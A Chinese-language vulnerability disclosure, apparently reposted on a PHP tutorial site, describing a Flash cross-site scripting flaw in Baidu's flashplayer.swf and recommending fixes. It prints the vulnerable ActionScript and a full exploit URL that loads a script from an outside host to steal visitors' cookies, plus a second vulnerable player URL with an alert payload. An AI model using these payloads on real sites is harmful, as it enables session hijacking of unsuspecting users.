来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 漏洞程序:http://mv.baidu.com/export/flashplayer.swf漏洞代码:1. 首先是FLASH后面的参数直接传递给了Parameters.getInstance().dataParameters.getInstance().data = loaderInfo.parameters;2. 然后Exte......
漏洞程序:http://mv.baidu.com/export/flashplayer.swf
漏洞代码: 1. 首先是FLASH后面的参数直接传递给了Parameters.getInstance().data Parameters.getInstance().data = loaderInfo.parameters; 2. 然后 ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1); ExternalInterface.call(Parameters.getInstance().onPlayStop); ExternalInterface.call(Parameters.getInstance().onFileLoadedError); 这3处都是直接传入到call里做参数。 3. 继续看Parameters 类的代码 public function get onPlayStart():String{ return (_data["onPlayStart"]); } www.2cto.com 4. 因此,我们可以构造以下恶意代码:?onPlayStart=function(){alert('xx')},一个实际利用代码是: http://mv.baidu.com/export/flashplayer.swf?onFileLoadedError=alert&onPlayPause=alert&autoplay=true&vid=a962553478ba87b54e229f3e&onPlayStart=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D%29 5. 可得到cookies。 剩下的俺不多说了。 用户访问页面后,Cookies发送给第三方。 修复方案: 目前这种跨站,浏览器自己的保护措施起不到拦截作用。因此只要用户点了链接,就十分可能中招了。 1. 检查全站JWPlayer 删除或更换其它。 2. 你们自己这个播放器,修改源码即可。 其实么,这里应该将FLASH这种文件, 都单独放到一个不同的域里, 比如baiduswf.com, 这样即使FLASH有问题, 也不会有太大影响。 像http://www.baidu.com/search/zhidao/badminton/jwplayer/player.swf?debug=alert 这种第三方的播放器,不应该出现在主域名之下的。 作者 gainover |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com